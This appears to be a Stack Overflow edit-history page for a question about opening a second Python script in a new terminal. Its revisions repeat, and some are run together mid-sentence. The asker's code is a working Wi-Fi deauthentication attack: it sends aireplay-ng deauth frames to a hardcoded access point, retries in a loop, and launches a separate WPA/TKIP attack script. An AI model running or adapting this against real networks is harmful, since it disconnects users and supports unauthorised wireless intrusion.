Skip to main content
clearer, unnecessary code at the end
Source Link
Léo Léopold Hertz 준영
  • 143.1k
  • 191
  • 467
  • 721

python Python call another Python script in new terminal

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the error "There was anfollowing error creating the child process for this terminal" if.

There was an error creating the child process for this terminal.

If I use this line with space, it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py/root/Desktop/script/WPA1TKIP.py:

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")    

#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break

python call another script in new terminal

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the error "There was an error creating the child process for this terminal" if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")    

#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break

Python call another Python script

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the following error.

There was an error creating the child process for this terminal.

If I use this line with space, it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py:

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")    
deleted 623 characters in body
Source Link

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the error "There was an error creating the child process for this terminal" if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

Where did I go wrong?

#!/usr/bin/python

import os

bssid_ap = '7C:03:4C:BA:72:F9'

spoof_mac = 'aa:bb:cc:dd:ee:ff'

interface = 'wlan0'

cap_file_name = 'hot'

new_interface = 'mon0'

ssid = 'hot'

channel_number = '1'

raw_input("\n welcome M0ntanaT press to kik target..")

print

#start aireplay-ng to send deauth to station

raw_input ("" "press to start kik target..")

aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface

os.system(aireplay)


os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")


#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the error "There was an error creating the child process for this terminal" if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

Where did I go wrong?

#!/usr/bin/python

import os

bssid_ap = '7C:03:4C:BA:72:F9'

spoof_mac = 'aa:bb:cc:dd:ee:ff'

interface = 'wlan0'

cap_file_name = 'hot'

new_interface = 'mon0'

ssid = 'hot'

channel_number = '1'

raw_input("\n welcome M0ntanaT press to kik target..")

print

#start aireplay-ng to send deauth to station

raw_input ("" "press to start kik target..")

aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface

os.system(aireplay)


os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")


#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the error "There was an error creating the child process for this terminal" if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")    

#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break
added 247 characters in body
Source Link
Kevin
  • 56.6k
  • 15
  • 107
  • 139

i use my python script for pentest an i want to call another script in new terminal, im getting error "There was an error creating the child process for this terminal" if i using this line with space its only open new terminal with python shell but its not read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

where i'm wrong?

#!/usr/bin/python

import os

bssid_ap = '7C:03:4C:BA:72:F9'

spoof_mac = 'aa:bb:cc:dd:ee:ff'

interface = 'wlan0'

cap_file_name = 'hot'

new_interface = 'mon0'

ssid = 'hot'

channel_number = '1'

raw_input("\n welcome M0ntanaT press to kik target..")

print

#start aireplay-ng to send deauth to station

raw_input ("" "press I use my python script for pentest and I want to start kik target..")

aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface

os.system(aireplay)

oscall another script in a new terminal.system("gnome-terminal -e I'm getting the error "There was an error creating the child process for this terminal" if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py")

#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."

def fake_auth():py

os.system(aireplay"gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

while 1:Where did I go wrong?

#!/usr/bin/python

import os

bssid_ap = '7C:03:4C:BA:72:F9'

spoof_mac = 'aa:bb:cc:dd:ee:ff'

interface = 'wlan0'

cap_file_name = 'hot'

new_interface = 'mon0'

ssid = 'hot'

channel_number = '1'

raw_input("\n welcome M0ntanaT press to kik target..")

print

#start aireplay-ng to send deauth to station

raw_input ("" "press to start kik target..")

aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface

os.system(aireplay)


os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")


#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break

i use my python script for pentest an i want to call another script in new terminal, im getting error "There was an error creating the child process for this terminal" if i using this line with space its only open new terminal with python shell but its not read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

where i'm wrong?

#!/usr/bin/python

import os

bssid_ap = '7C:03:4C:BA:72:F9'

spoof_mac = 'aa:bb:cc:dd:ee:ff'

interface = 'wlan0'

cap_file_name = 'hot'

new_interface = 'mon0'

ssid = 'hot'

channel_number = '1'

raw_input("\n welcome M0ntanaT press to kik target..")

print

#start aireplay-ng to send deauth to station

raw_input ("" "press to start kik target..")

aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface

os.system(aireplay)

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."

def fake_auth():

os.system(aireplay)

while 1:

retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

if retry == retry_yes:

    fake_auth()

if retry == retry_no:

    break

I use my python script for pentest and I want to call another script in a new terminal. I'm getting the error "There was an error creating the child process for this terminal" if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py

os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")

Where did I go wrong?

#!/usr/bin/python

import os

bssid_ap = '7C:03:4C:BA:72:F9'

spoof_mac = 'aa:bb:cc:dd:ee:ff'

interface = 'wlan0'

cap_file_name = 'hot'

new_interface = 'mon0'

ssid = 'hot'

channel_number = '1'

raw_input("\n welcome M0ntanaT press to kik target..")

print

#start aireplay-ng to send deauth to station

raw_input ("" "press to start kik target..")

aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface

os.system(aireplay)


os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")


#repeat send deauth to station

retry_yes = "r"

retry_no = "c"

print "\n \n If the attack was unsuccessful, press 'r' to retry."

print "" " If the attack was successful, press ' c ' to continue."


def fake_auth():

    os.system(aireplay)

while 1:

    retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")

    if retry == retry_yes:

        fake_auth()

    if retry == retry_no:

        break
Source Link
Loading